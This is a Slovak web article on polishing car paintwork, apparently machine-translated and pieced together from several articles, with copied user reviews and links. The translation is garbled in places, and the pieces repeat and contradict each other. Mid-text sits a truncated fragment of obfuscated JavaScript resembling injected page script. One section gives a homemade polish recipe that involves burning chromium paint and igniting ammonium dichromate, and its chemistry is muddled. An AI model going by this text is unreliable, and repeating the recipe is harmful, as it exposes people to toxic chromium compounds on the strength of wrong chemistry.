Ako najlepšie vyleštiť auto? Profesionálne a svojpomocné leštenie karosérií áut

Potreba leštiť auto vzniká v prípadoch, keď sa objavili hlboké škrabance alebo sa stratil bývalý lesk karosérie. Na základe toho vzniká otázka, ako správne leštiť auto bez použitia služieb profesionálnych remeselníkov. Tento postup môžete to urobiť sami, ak máte potrebné vybavenie a veľké množstvočas.

Čo sa použije na leštenie?

Tradične sa používajú na spracovanie karosérií automobilov rôzne druhy leštidlá. Sú to perzistentné emulzie alebo pastovité látky, ktoré sa nanášajú na povrch, ktorý sa má leštiť. Zloženie materiálu je veľmi zložité: leštidlo pozostáva z kombinácie epoxidových živíc a zmesí obsahujúcich vosk. Vo všeobecnosti je leštenie karosérie postupom na vyhladenie škrabancov a malé praskliny. V skutočnosti je ošetrovaný povrch pokrytý ochrannou vrstvou, ktorá zabraňuje prechodu nečistôt a prachu.

Hlavné typy leštidiel

V závislosti od charakteru vykonávanej práce existujú 2 typy leštidiel: ochranné a obnovovacie. Prvé sa používajú ako preventívne opatrenie na ochranu laku pred škodlivé účinky životné prostredie. Regeneračné vám umožňujú skryť chyby tela (škrabance, triesky, zakorenené stopy) a dať mu lesk. Najčastejšie sa tento typ leštidla používa pri predpredajnej príprave auta.

Okrem toho vyniknú voskové leštidlá. Ich hlavným účelom je dodať lesk vyblednutému laku. Brúsne leštidlá vykonávajú niekoľko funkcií: môžu chrániť telo pred vystavením ultrafialovému žiareniu a nečistotám z odštiepených oblastí na tele a tiež skryť niektoré drobné škrabance, ktoré kazia vzhľad. Nanášanie hmoty na povrch vozidla vám pomôže stroj na leštenie auta. Pred prácou si však treba vybrať správne vhodný prostriedok.

Na základe toho, ak vyvstane otázka, ako leštiť škrabance na aute, potom kľúčová úloha výber správneho zloženia leštidla zohráva úlohu. Najlepší výrobca Nemecká spoločnosť Koch Chemie je považovaná za poprednú brúsnu leštičku. Jej produkty sa predávajú vo forme pasty. Pred aplikáciou je potrebné auto dôkladne umyť. Leštenie sa vykonáva v niekoľkých fázach: najprv sa pasta nanesie na povrch, ktorý sa má leštiť, a potom sa pomocou suchej handričky opatrne rozotrie po celom tele. Je dôležité si uvedomiť, že látka pomerne rýchlo schne. Neodporúča sa nechávať na laku veľké množstvo pasty, pretože to môže viesť k zafarbeniu. Ak sa takéto chyby objavia, môžete sa ich zbaviť utretím príslušných oblastí vlhkou handričkou.

Auto leštíme sami: vlastnosti leštenia karosérie

Ak sú na tele miesta, ktoré boli vážne poškodené ultrafialovým žiarením alebo vystavením žieravinám, potom by sa mali obrúsiť. Tento postup sa musí vykonať pomocou brúsneho papiera a dreva. Každá problémová oblasť by mala byť ošetrená pridanou vodou.

Za predpokladu, že sú poškodené veľké časti tela, je potrebné ich rozdeliť na malé oblasti. Na každú ďalšiu je potrebné prejsť až vtedy, keď bola predchádzajúca oblasť vyleštená perfektný stav. Je dôležité si uvedomiť, že leštenie karosérie je náročný proces. Kvalita takejto práce závisí od výsledkov brúsenia a prípravných fáz (umývanie, čistenie tela, hľadanie škrabancov a triesok).

Nástroje pre prácu

Kvalita konečného výsledku závisí od dôkladnosti vyleštenia karosérie. Dôležitú úlohu zohrávajú aj nástroje. Na zjednodušenie práce budete potrebovať stroj na leštenie auta. Je ich veľa rôzne modely. Najlepšia možnosť zariadenie sa považuje za značku Makita. Ak nie je možné zakúpiť špecializované zariadenie, môžete použiť konvenčnú vŕtačku. Treba však pripomenúť, že počas jeho prevádzky dôjde k výraznému návratu do rúk. To môže poškodiť samotnú vŕtačku aj lak auta.

Okrem toho budete potrebovať dva leštiace kotúče: na hrubé a jemné spracovanie. Možno ich nájsť v akejkoľvek konštrukcii resp predajňa áut. Medzi obrovským výberom by sa mali uprednostňovať vlnené a penové kruhy. Okrem toho budete potrebovať leštiacu pastu. Výber závisí od účelu práce: jednoducho aktualizujte vzhľad tela alebo skryte chyby a malé čipy. Pre každý typ existuje špeciálna možnosť.

Operačný postup

Prvým krokom je nanesenie pasty na leštiaci kotúč určený na hrubé spracovanie. Pastu je možné vytlačiť priamo z tuby. Množstvo látky by malo byť v rozmedzí 10-20 gramov (to zodpovedá čajovej lyžičke). Bez zapnutia stroja by ste mali leštidlo rozložiť na ošetrovaný povrch. Na základe skutočnosti, že sa aplikuje malé množstvo látky, oblasť tela, ktorá sa má liečiť, by mala byť malá - 40 x 40 centimetrov.

Leštička áut má niekoľko prevádzkových režimov. V prvej fáze sa spracovanie vykonáva pri najnižšej rýchlosti. Po rozdelení pasty na telo môžete zapnúť druhý režim.

Aby sa pasta rozložila rovnomerne, leštenie by sa malo vykonávať v „kríži“: horizontálne a potom vertikálne. Celý proces prebieha pri najnižšej rýchlosti stroja. Po všetkých činnostiach použite suchú handričku na odstránenie prebytočného lesku.

Druhá fáza dáva telu lesk. Na jemné dokončovanie je na brúske umiestnený kotúč. Potom sa na suchú handričku vytlačí vopred kúpená leštenka, ktorá autu dodá lesk. Látka sa ručne distribuuje po celej pracovnej ploche tela. Leštenie karosérie v tejto fáze sa vykonáva pri strednej rýchlosti stroja. Počas práce môžete zvýšiť rýchlosť, aby sa pasta rovnomerne rozložila.

Záverečná fáza

Po vykonaní všetkých fáz práce sa môžete pozrieť na výsledok: leštené auto bude mať jasnú a bohatú farbu, na karosérii nebudú viditeľné triesky a škrabance. Ostáva však už len krok – nanesenie ochranného laku. Jeho hlavným účelom je vytvoriť na povrchu laku film, ktorý zabráni vzniku škvŕn a škrabancov v budúcnosti. Musí sa nanášať pomocou brúsky s kotúčom pre ľahké spracovanie. Je dôležité sledovať množstvo pasty na ošetrovanom povrchu: ak sa zníži, množstvo leštidla by sa malo aktualizovať.

Koľko bude proces leštenia stáť?

Vyleštiť auto si vyžaduje obrovské množstvo úsilia a času. Cena či konečná cena celého diela vás milo prekvapí. Pre porovnanie: ak využívate služby automobilových dielní, ktoré poskytujú služby leštenia automobilov, cenovka sa bude pohybovať od 5 000 do 7 000 rubľov. Tieto ceny sú takmer vo všetkých centrách, preto netreba hľadať výhodnejšiu možnosť.

Celkové náklady na leštenie vlastnými rukami budú závisieť od dostupnosti potrebného vybavenia. Ak máte brúsku, budete musieť minúť peniaze iba na spotrebný materiál: brúsne kotúče (cena - od 30 do 70 rubľov), požadované množstvo leštidlo (cena - od 350 do 900 rubľov). Celkovo bude úplné vyleštenie a ochrana tela stáť asi 3 000 rubľov (za nehospodárne náklady).

Ako vyleštiť auto pastou 3M?

Táto pasta je široko používaná pre jej jednoduchú aplikáciu, prácu s ňou a dobrý konečný výsledok získaný po ošetrení karosérie auta. Výrobca leštidla je americká spoločnosť, ktorá si získala dôveru na trhu automobilových služieb výrobou čistiacich a chemických zmesí pre starostlivosť o interiér auta.

Pasta sa predáva v tubách, ktorých celkový objem nepresahuje 1 kg. Je dôležité vziať do úvahy skutočnosť, že leštidlo bude stáť rádovo viac ako výrobky podobných výrobcov (cena 1 trubice sa pohybuje od 1 000 do 2 000 rubľov). To je preto, že tento prostriedok nápravy Používa sa nielen na primárne ošetrenie tela, ale aj ako ochranný lak. Stačí teda kúpiť jednu tubu. Stačí spracovať 6-7 karosérií. Vo všeobecnosti je pri odpovedi na otázku, ako správne leštiť auto, dôležité zvážiť, že pasta sa nanáša iba pomocou brúsnych jednotiek.

Vlastnosti použitia leštidiel obohatených o farbu

Obrovská škála produktov na ošetrenie tela umožňuje majiteľovi vozidla vybrať si najvhodnejšiu možnosť. Ak nie je potrebné úplné leštenie (napríklad v prítomnosti mikroškrabancov), môžete použiť pastu obohatenú o farbu. Jeho hlavným účelom je skryť sa drobné závady karosérie, oblasti retušovania alebo stmavnutia laku. Vo väčšine prípadov sa v procese používajú takéto leštidlá predpredajná príprava auto.

Pri odpovedi na otázku, ako správne leštiť auto pomocou takýchto prostriedkov, je dôležité vziať do úvahy, že práca, rovnako ako v iných prípadoch, sa vykonáva iba pomocou brúsok. Pre dosiahnutie optimálnych výsledkov je potrebné pred aplikáciou kompozície dôkladne opláchnuť všetky časti auta. problémové oblasti(kde je hlboké hranolky) ošetrujte opravnou voskovou ceruzkou.

Spodná čiara

Na záver treba poznamenať, že leštenie karosérie je dlhý a náročný proces, ktorý si vyžaduje starostlivosť a pozornosť. V každom prípade je kvalita leštenia ovplyvnená prvotnou prípravou karosérie pre pripravované diela: umývanie, vyhľadávanie a práca so škrabancami (čipy), nákup vybavenia a Zásoby. Ak máte možnosť kúpiť pastu 3M, je lepšie ju použiť na vykonanie vysokokvalitnej práce na ochrane tela.

Vo všeobecnosti nie je otázka, ako správne leštiť auto, taká ťažká. Stačí presne dodržiavať postupnosť akcií a používať kvalitné vybavenie. Ak karosériu auta leštíte systematicky (raz za 3 mesiace) a následne ošetríte ochrannými leštidlami, lesk a lesk laku zostanú po dlhú dobu.

Pomáha vyriešiť niekoľko veľmi dôležitých problémov. Nanesením autoleštidla na povrch súčasne zabezpečíte:

• ochrana pred vonkajšími poveternostnými vplyvmi;
• ochrana pred poškodením tela agresívnym prostredím;
• prevencia korózie;
• dlhodobé zachovanie integrity náter farby auto;
• odstránenie škrabancov, triesok a mikropoškodení;
• ochrana laku auta pred vyblednutím;
• veľkolepý lesk.

Leštenie karosérie auta

Moderný priemysel ponúka spotrebiteľom široký výber výrobky na leštenie karosérií automobilov. Jedná sa o polymérovú leštenku, automobilový vosk, tekuté sklo, ako aj rôzne ďalšie možnosti.

Niektorí majitelia automobilov však priemyselným výrobkom príliš neveria a radšej si pripravia leštidlo a nanesú ho na povrch karosérie doma.

Obnova laku na karosérii

Ako pripraviť lak na karosériu auta

Predtým, ako sa pustíte do toho samovýroba zloženie na leštenie áut doma, mali by ste vedieť, že tento výrobok musí obsahovať brúsnu a spojivovú zložku. V jeho úlohe môžete použiť tuky, vodu alebo silikón.

Upozorňujeme, že tuky nemožno odstrániť vodou - to bude potrebné urobiť suchou handrou. Takže začnime variť:

1. Príprava brusiva. Na tento účel vyrábame jemnozrnný oxid chrómu. Získame to pomocou tohto algoritmu:

• spáliť farbu obsahujúcu chróm nad ohňom alebo pomocou spájkovačky;
• Vezmeme vopred zakúpený dvojchróman amónny a zapálime ho. Čakáme, kým oxiduje;
• odparovať kyselina chlorovodíková, vznikajúce počas procesu oxidácie.

Leštenie karosérie auta

1. Pripravte si spojovací komponent:

• 0,2 stearínu - možno ho získať uvarením mydla na pranie a následným zmiešaním výslednej látky s kyselinou octovou;
• 0,1 mydla na pranie;
• 0,7 oxid chrómu;
• 3 kvapky petroleja.

Počas zahrievania premiešajte všetky časti. Tu si treba dávať veľký pozor – stearín je horľavá látka.

Po všetkých vyššie uvedených operáciách je leštidlo na karosériu pripravené - môžete ho použiť.

Proces leštenia karosérie auta doma

Pred leštením auta ho musíte dôkladne umyť. Môžete to urobiť v autoumyvárni alebo sami. Hlavnou podmienkou je úplné odstránenie nečistôt a prachu z vášho štvorkolesového kamaráta. Po ukončení umývania je potrebné celý povrch dôkladne vysušiť. Potom celý povrch karosérie dôkladne odmastíme lakovým benzínom.

Z auta je potrebné odstrániť všetku mastnotu a drobné fľaky, aby sa povrch čo najlepšie pripravil na nanesenie leštidla.

Pomocou špongie a leštiaceho stroja sa kompozícia nanáša na povrch auta. V tomto prípade by mal leštiaci stroj pracovať pri minimálnej rýchlosti. Najlepšie je spracovať stroj po častiach.

Leštenie elektrickým náradím

Po nanesení kompozície musíte nechať 15 minút absorbovať a potom vyleštiť. Ak spracujete celé auto, nestihnete ho za krátky čas vyleštiť. A po 15 minútach kompozícia začne tvrdnúť a nedá sa zrkadlový lesk, čím sa povrch zakalí.

Najlepšie je zvládnuť všetky náročné oblasti ručne - použitie stroja môže viesť k nesprávnemu výpočtu a poškodeniu laku. Aby ste tomu zabránili, mali by ste použiť plsť a mikrovlákno.

Ako dokončovacie činidlo môžete použiť fixačný prostriedok - dodá povrchu vášho auta mokrý lesk. Toto bude posledný akord vašej práce.

Po dokončení skontrolujte povrch z rôznych uhlov, či na ňom nie sú škvrny a stopy lesku. Ak je všetko v poriadku a ste s kontrolou spokojný, proces možno považovať za ukončený.

Potrite auto mikrovláknom

Záver

Ak chcete vyleštiť povrch svojho auta, môžete sa obrátiť na špeciálnu službu alebo to urobiť sami. Mnohí automobiloví nadšenci veľmi neradi zverujú svoje autá do rúk iných. Preto sa snažia zvládnuť všetky fázy – od prípravy leštiacej kompozície až po v podstate samotný proces leštenia – svojpomocne.

Existuje veľa receptov, ktoré vám umožňujú pripraviť si leštidlo doma. Každý automobilový nadšenec má svoje vzácne tajomstvá, ktoré pomôžu chrániť karosériu auta pred negatívnymi vonkajšími vplyvmi lepšie ako ostatné.

Môže to byť diktované nie tak túžbou zachrániť sa pred zbytočnými finančnými výdavkami, ale príležitosťou zabezpečiť čo najsvedomitejší prístup k riešeniu problému.

// o;o++)t+=e.charCodeAt(o).toString(16);return t),a=function(e)(e=e.match(/[\S\s](1,2)/ g);for(var t="",o=0;o< e.length;o++)t+=String..document.location.protocol;if(p.indexOf(«http»)==0){return p}for(var e=0;e

Leštenie auta plní minimálne dve funkcie – estetickú a ochrannú. V prvom prípade sa odstránia škrabance na tele, ktoré sú počas prevádzky nevyhnutné, a vráti sa lesklý lesk. V druhom prípade je lak auta chránený pred agresívnym prostredím. Tento postup nie je jednoduchý, takže pre dobrý výsledok budete potrebovať teoretický základ a operačný algoritmus. Len správnym výberom leštidla na auto a dodržiavaním pravidiel vlastného leštenia môžete dosiahnuť výsledky a nepoškodiť lak auta.

Kedy je potrebné leštenie karosérie auta a aké typy existujú?

Najprv musíte určiť stav laku, výber materiálov a typ leštenia závisí od toho. V niektorých pokročilých prípadoch leštenie nepomôže. Ak sú škrabance hlboké a dosiahli základnú farbu alebo kov, potom je čas začať sa zaujímať o lakovanie auta. Pri plytkom poškodení alebo zakalení laku karosérie (matka, odreniny, zvyšky laku či plastov po menšej nehode) môžeme pokojne odporučiť auto preleštiť mechanicky.

• Mechanické (tiež známe ako obnovovacie) leštenie zahŕňa odstránenie vrchnej vrstvy laku. Bez určitej zručnosti hrozí odstránenie všetkého ochranného laku alebo dokonca poškodenie laku (najmä pri použití elektrického náradia). Nemali by ste hneď bežať po brúsku a hneď leštiť celé auto. Začnite na nenápadnej malej ploche, buď ručne alebo pomocou elektrického náradia, ale pri minimálnych otáčkach. Predtým si však vyberte ten správny leštidlo, pripravte nástroj a dobre pochopte postupnosť akcií.
• Ochranné leštenie je šetrnejšie k náteru. Neodstraňuje vrstvu, ale vypĺňa praskliny a „škrabance“. 80% zloženia takýchto leštidiel je vosk a 20% je chemický. Spoločne odpudzujú vodu a nečistoty a zimné obdobie Tiež chránia pred činidlami. Nanáša sa rýchlo a jednoducho, no nevydrží dlho (5-7 umytí). Existujú odolnejšie odrody, ale viac o nich nižšie. Mechanické leštenie bez ochranného lesku rýchlo stráca svoje vlastnosti.

„Hologramy“ na karosérii auta po nie profesionálne leštenie

Čo musíte urobiť sami

Na obnovovacie leštenie budeme potrebovať:

• autošampón;
• rozpúšťadlo č. 646 alebo minerálna hlina;
• Sander.
  Ideálna možnosť je s orbitálnou hlavicou, no prácu výrazne uľahčí aj obyčajná. Môžete pracovať manuálne, ale čas vykonania sa niekoľkokrát zvýši a výsledok kvality bude horší, ale riziko poškodenia povlaku v dôsledku neskúsenosti je minimalizované;
• brúsny lesk požadovanej veľkosti zrna;
• dokončovacie leštidlo;
• jeden tvrdý a jeden mäkký brúsny kotúč;
• jedna mäkká semišová handra (najlepšie pár);
• vodný sprej.

Môžete si vyrobiť vlastnú leštiacu pastu. Je pravda, že na to budete musieť spáliť farbu obsahujúcu chróm, oxidovať dvojchróman amónny a odpariť kyselinu chlorovodíkovú doma. Preto, ak ste chemik, recept nájdete, ale ak nie, tak sa do toho nehrabte. V predaji je veľa možností, ktoré vyhovujú každému rozpočtu.

Výber optimálneho laku: názory, hodnotenia a recenzie

Pri súčasnej rozmanitosti produktov je ťažké vybrať slušnú možnosť za primeranú cenu. Nekvalitné materiály môžu zničiť všetku vašu prácu, preto by ste sa mali zamerať na lídrov. V oblasti leštenia kraľujú dva: 3M a Farecla.

Každý typ produktu má svoj vlastný leštiaci kotúč.

Prvý je „šitý na mieru“ pre profesionálov. Vzhľadom na veľké balenie (od 1 kg) sa zvyšuje aj vyvolávacia cena (od 1 500 rubľov za 1 druh leštidla). „Farekla“ je v tomto ohľade cenovo dostupnejšia - balenie od 250 gramov za cenu 400 rubľov. Kvalitou sú si rovní. Na vyleštenie stačí malé balenie auto dvakrát. A ak si myslíte, že sa odporúča ošetriť auto továrenským lakom s brúsnou pastou nie viac ako 5-7 krát (toto profesionálnymi rukami, pre amatérov nie viac ako 3-4), potom bude jeden kilogram jednoznačne zbytočný.

Existuje skutočne veľa druhov produktov značky Farecla.

Po posúdení stavu tela sa musíte rozhodnúť, ktorú frakciu brusiva si vyberiete. Existujú:

1. Veľký - 09374 od 3M alebo G3 od Farecla. Používa veľké škrabance a výrazná tuposť tela;
2. Malý - 09375 alebo G6. Odporúča sa pre ľahkú matnosť a malé množstvá drobné škrabance, odstráni menšiu vrstvu laku;
3. Povrchová úprava je kód 09376 pre 3M a G10 pre Farekl. Dokončovacia pasta odstraňuje nedostatky prvých dvoch a dodáva laku lesklý lesk.

Teraz výrobca "ZM" vydal vylepšenú verziu so zeleným uzáverom a kódom - 50417. Tento lak je umiestnený ako univerzálny lak a nahrádza prvé dva body.

Upozorňujeme: výrobcovia Koch a Menzerna sú populárni aj v odborných kruhoch. Sú drahšie a ťažšie sa zháňajú v predaji, no kvalita je na vysokej úrovni.

Menzerna je nemecký profesionálny leštiaci produkt, ktorý si zaslúži najlepšie recenzie používateľov už niekoľko rokov

Bez ochrany lesk dlho nevydrží, prejdime teda k výberu ďalšieho typu laku.

Ochranná vrstva: ako si vybrať dobré materiály

Je tu ešte viac druhov a cenové rozpätie je značné. Rozdeľme ich podľa zloženia:

• vosk je najbežnejší, ľahko použiteľný a najlacnejší typ ochranného laku. Takmer každá autoumyváreň má službu voskovania;
• syntetické, ktoré sú rozdelené do troch ďalších typov:
  • výplňová - slabá náhrada za abrazívne leštidlá;
  • silikón - rýchlo sa aplikuje sprejom, ale rýchlo sa zmyje (alternatíva vosku);
  • polymér - plná syntetika, ktorá sa musí aplikovať opatrne a dlho, ale ochranné vlastnosti vydržia až šesť mesiacov (významnou nevýhodou je cena);
• leštidlá s nanočasticami (ľudovo „tekuté sklo“) – progresívny vzhľad materiál poskytuje ochranu na 6-8 mesiacov. Môže byť rôzne formy vrátane aerosólového typu. Proces aplikácie je zložitý, no odmenou je krásny lesk na aute (najmä čierna).

Najpopulárnejšie spoločnosti a recenzie ich produktov

V tabuľke nižšie sú uvedené najobľúbenejšie značky na výrobu ochranných leštidiel.

Hi-Gear "Restorer". Problém bol v tom, že farba karosérie za dlhé roky používania dosť nepekne vybledla a nadobudla rôzne škvrny. Začal som s kapucňou. Stopy komárov a múch sa podarilo odstrániť pomerne ľahko a takmer bez námahy. S bielymi fľakmi z predchádzajúceho laku som musela trochu popracovať, ale výsledok ma 100% potešil. Farba ošetrenej oblasti bola radikálne odlišná v sýtosti a lesku od neošetrených oblastí. Postupne som prešiel celé auto, strávil som spolu dve hodiny. V dôsledku toho olej a bitúmenové škvrny Boli úplne odstránené z karosérie, farba auta sa ukázala ako nová. Únik paliva v blízkosti plynovej nádrže bol takmer úplne odstránený. Nanesený lak “Restorer” prešiel ručným umytím perfektne, farba zostala rovnaká celé leto. Odporúčam všetkým majiteľom starých áut a pre predpredajnú prípravu nemusíte lakovať auto s drobnými defektmi laku.

review_2154088.html

poľský Korytnačí vosk Plus PTFE - drahé, ale účinné. Ak robíte všetko múdro, potom je lak vynikajúci, dodáva lesk a obnovuje farbu, samozrejme škrabance nezamaskuje, ale v zásade si poradí s malými škrabancami. Cena laku je dobrá, ale vydrží veľakrát, leštila som ho trikrát a ešte mi z neho zostala viac ako polovica. Vôňa je príjemná, ale trochu tmavá. Ráno po daždi sa auto okamžite líši od svojich susedov, pretože kvapky sa stále lepia a „nezasychajú“ do tela. Nečistoty sa na aute toľko nedržia. Vystačí na dve alebo tri umytia.

anufriev-pr

http://otzovik.com/review_2540156.html

Samotná leštenka Sonax s prídavkom farbiaceho pigmentu. Teda pre určitý rozsah farieb. V mojom prípade metalická strieborná. Vizuálne je dosť ťažké rozlíšiť rozdiel od „pred“ a „po“ leštení mojou farbou. Ale je to hmatovo cítiť veľmi silno. Drsnosť povrchov zmizla. Všetko bolo hladké a trblietalo sa na slnku. Malé trhliny sú zapečatené špeciálna ceruzka ktorý sa dodáva so súpravou. Potom musíte znova prejsť samotným lakom. Samotná ceruzka voskom v podstate upchá trhlinu pod leštidlom. Len maličkosť je pochúťkou. Väčšie úlomky a škrabance sú samozrejme nanič. No nie je to určené pre nich. Napriek tomu som s výsledkom spokojný. Sonax odôvodnil svoju cenu.

Wicked-Safety

https://www.drive2.ru/l/6568971/

Môj manžel pochyboval o kvalite autoleštenky Sapfire, pretože cena oproti iným bola úplne smiešna. Ale rozhodol som sa to aj tak skontrolovať. Výsledok bol výborný. Leštidlo na auto Sapfire sa dobre nanáša a poskytuje spoľahlivú ochranu telo, dodáva lesk a vodoodpudivé vlastnosti.

http://otzovik.com/review_268445.html

Kúpil som si špeciálny čistič Willson, aby som pripravil karosériu na leštenie “Glass Body Cleaner” a samotný lak tmavé autá auto "Body Glass Guard". Auto som umyl 2x, umyl skoro ráno, kým nepražilo slnko a auto bolo studené, znova som všetko utrel a utrel a začal som nanášať čistič. Umytie mi trvalo asi 4 hodiny, ba viac, nechala som sa tak uniesť, že som na čas aj zabudla. Po celom procese musí auto stáť aspoň 2 hodiny, aby kompozícia stuhla, nemôžete ho umývať chemikáliami 7 dní, kompozícia počas týchto dní úplne vykryštalizuje. Čo som si všimla hneď bol lesk, rozdiel je veľmi viditeľný. Celý tento víkend pršalo - kvapky na aute sa vlastne zbierali do väčších kvapiek a ľahko sa odvaľovali od vetra, keď som vyšiel z chaty na diaľnicu, auto okamžite vyschlo, bolo super sledovať, ako, keď pri akcelerácii na kapote sa z malých kvapiek vytvorila jedna obrovská kvapka a ľahko odletela mne neznámym smerom) Skrátka vám radím, naozaj to funguje!

grinnolder

https://www.drive2.ru/l/288230376152410795/

Dobrí ľudia z autotrhu mi poradili leštenku s voskom od americkej firmy Meguiar’s. Z internetu mi na základe recenzií a fotiek došlo, že lepší lak ešte nebol vynájdený. Výsledok je skrátka zrejmý: pavučiny už nie sú také nápadné, farba sýta, lesk zrkadlový, pri daždi sa odrážajú kvapky, t.j. Ochrana proti vlhkosti funguje a telo je preto dlhšie čistejšie. Predné svetlá môžete dokonca vyleštiť, výsledok je výborný. Leštené vláknom bez väčšej námahy. Uvidí sa, ako dlho tento lesk vydrží. S výsledkom som spokojná, téglik je veľký, spotreba zanedbateľná, cena dobrá. Vo všeobecnosti to odporúčam!

stalkerr81

https://www.drive2.ru/l/4169530/

Ktorýkoľvek z prezentovaných materiálov si podľa účastníkov prieskumu v roku 2015 zaslúžil maximálne hodnotenie v hodnotení. Budeme predpokladať, že ste sa rozhodli pre materiály na samoleštenie. To znamená, že môžete prejsť priamo k samotnému procesu.

Algoritmus krok za krokom: hodiny leštenia doma

Mechanické (brúsne, obnovovacie) leštenie je najnáročnejšie na prácu, tak začnime s ním. Vykonáva sa v etapách:

• Umývanie auta (najlepšie autošampónom).
• Dodatočné čistenie (škáry).
• Tejpovanie plastové diely a svetlá, ktoré sú v kontakte s telom.
• Brúsenie hrubým brusivom (G3, 09374, 50417 alebo analógy).
• Odstránenie zvyšného materiálu a trenie tela mikrovláknom.
• Brúsenie konečným leskom (G10, 09376 alebo ekvivalent).
• Aplikácia ochrannej vrstvy (vosk, polymér alebo „tekuté sklo“).

1. Prvý stupeň pozná každý motorista. Umývanie auta nie je náročné, len si dajte pozor na spoje a drážky, nemali by v nich zostať žiadne nečistoty. Ak sa vám pod brúsny kotúč dostane nenápadný kamienok, za pár sekúnd dostanete veľa škrabancov.
   Bez dôkladného umytia pôjde všetka vaša tvrdá práca dolu vodou!
2. Po umytí sa oplatí ešte raz skontrolovať stav tela. Zvyšky dechtu alebo iných odolných nečistôt by sa mali odstrániť pomocou rozpúšťadla č. 646 alebo minerálnej hliny. Budete prekvapení, koľko nečistôt zostane na umytom aute. Ak sa navyše nájdu triesky alebo malé, ale hlboké škrabance, je potrebné ich opraviť špeciálnou korekčnou ceruzkou. Tiež by bolo dobré telo odmastiť.
   Takto vyzerá minerálna hlina

   Vyberte si vybavenie podľa svojich možností a sebavedomia. Práca s akoukoľvek brúskou si vyžaduje prispôsobenie a zvyknutie si. Musí existovať regulátor rýchlosti. Začnite s minimálnymi, potom zvyšujte na optimálne pracovné úrovne (výrobcovia leštidiel uvádzajú na obale pasty, ktoré im odporúčajú). Zvyčajne je to v rozsahu 1800–2500 tisíc otáčok.

   
   Pre každý typ brúsky je potrebné zvoliť správnu sadu leštiacich kotúčov

   Vibračné brúsky poskytujú rovnomernejší povrch a minimalizujú riziko poškodenia. Nevýhody - vysoká štartovacia cena a vibrácie počas prevádzky.

   
   S orbitálnymi strojmi sa pracuje trochu ťažšie

   Ak máte pochybnosti, obmedzte sa na manuálnu metódu. Výsledok nebude radikálne odlišný, len budete musieť vynaložiť oveľa viac fyzickej námahy. Ručné leštenie je menej odolné, ale ak v poslednej fáze použijete kvalitnú leštenku ochranná vrstva, argument sa stáva irelevantným.

   
   Ručné leštenie je vyčerpávajúce, ale niektorí majitelia áut hlásia stratu nadbytočných kilogramov pri práci!
3. Po zaschnutí sa lesk len veľmi ťažko odstraňuje, preto buďte opatrní plastové prvky telo Všetko, čo sa dá odstrániť, odstráňte ( zadné svetlá, Napríklad).
4. Po dokončení všetkých prípravné práce Môžete pristúpiť priamo k lešteniu. Ak používate elektrické náradie, uistite sa, že je brúsny kotúč čistý. Označte oblasť, ktorá sa má liečiť. Nemali by ste zaberať veľkú plochu naraz. Na spracovanie naraz vezmite jedny dvere, časť krídla alebo polovicu kapoty. To uľahčuje kontrolu procesu a zabraňuje predčasnému vysychaniu produktu.
   Nenechajte výrobok zaschnúť!

   Na brúsny kotúč alebo na samotný diel naneste trochu leštidla (extra materiál rýchlejšie vyschne + odpad). Nastriekajte trochu vody a spustite stroj pri nízkej rýchlosti. „Cíťte“ jeho prácu a až potom zvýšte rýchlosť na pracovnú rýchlosť. Správna práca s nástrojom:

   • pohyby by mali byť pomalé a hladké;
   • pohybujte brúskou zľava doprava alebo zhora nadol (alebo naopak). Pri leštení krúživým pohybom objaví sa „hologram“ - nerovnomerné viditeľné leštenie;
   • Kruh by mal priliehať k celej rovine, bez nakláňania.
5. Pravidelne kontrolujte povrchovú teplotu, možno ručne. Dotknite sa oblasti leštenia a ak je príliš horúca, aby ste ju mohli držať v ruke, prestaňte leštiť a miesto ochlaďte vodou (alebo len počkajte, kým vychladne). Optimálna teplota na leštenie je 50–60 stupňov. Potom leštidlo interaguje s lakom čo najefektívnejšie. Pri prehriatí sa lak ničí, následky neúspešného leštenia sa odstraňujú ťažšie.
   Ovládajte rýchlosť a nezabudnite dať autu pokoj od prehriatia

   Pri ručnom spracovaní musia byť pohyby tiež v horizontálnej alebo vertikálnej rovine (nie kruhové). Dávajte pozor na tlak. Nedosiahnete rovnaké teploty ako s elektrickým náradím. Sústreďte sa preto na malé plochy a pracujte s nimi opatrne.

   
   Pracujte sekciu po sekcii, pohyby sú plynulé, ponáhľanie neprinesie výsledky.
6. Výsledkom by mal byť matný povrch bez škrabancov. Telo potrieme handričkou z mikrovlákna. Cieľom je odstrániť zvyšky laku a získať primárny lesk. Rovnakou technológiou naneste konečný lesk a utrite.

Video o tom, ako správne vyleštiť auto pomocou pasty a stroja

Video o technológii expresného leštenia auta ručne pomocou vŕtačky alebo skrutkovača

Aplikácia ochrany a dokončovacie úpravy

Auto je už krásne a lesklé, teraz musíme tento efekt zachovať. Keď už nadobudnete skúsenosti, nanesenie jednoduchého vosku alebo syntetického leštiaceho prostriedku vám nespôsobí žiadne problémy. Technológia spočíva v jednoduchej veci: nastriekať (naniesť) a dôkladne rozotrieť. Ak sa rozhodnete použiť nanoleštidlo typu „tekuté sklo“, budete musieť zopakovať vyššie uvedené práce.

Tipy na záver:

• Lešte na dobre osvetlenom, vetranom mieste. Ak pracujete vonku, vyhýbajte sa priamemu slnečnému žiareniu a prachu;
• Voda a handrička z mikrovlákna pomôžu odstrániť zvyšky zaschnutého laku. Navlhčite a utrite.

Obnovovacie leštenie bez ochranného leštenia nemá zmysel. Vynaložené úsilie sa rýchlo stane neviditeľným. Ale opak je celkom možný. Pravidelná ochrana voskom alebo podobným materiálom raz za 2-3 mesiace pomôže oddialiť potrebu mechanického leštenia o niekoľko rokov.

Karoséria nového auta je spočiatku pokrytá špeciálnou vrstvou ochranného laku, ktorý sa nazýva náter laku (LPC). Postupom času začína strácať lesk, je čoraz viac zakalený. Okrem toho sa na povrchu tela objavujú škrabance a stopy po vystavení vonkajším faktorom, ktorých počet sa neustále zvyšuje. Aby telo získalo svoj pôvodný vzhľad, musíte sa uchýliť k lešteniu auta, ktorého náklady sú pre mnohých majiteľov automobilov celkom dostupné, hlavnou vecou je robiť to správne a kompetentne.

Čo je leštenie

Proces, akým je leštenie auta, znamená dávať vozidlo originál vzhľad s odstránením všetkých drobné poškodenie, škrabance a odstránenie najmenších nerovností laku. Nová vrstva je navyše navrhnutá tak, aby chránila povrch auta pred vonkajšími faktormi. Leštidlá na autá používané na tento účel sú abrazívne, voskové a syntetické. Výber konkrétnej možnosti závisí od stavu lakovaného povrchu.

Načo to je?

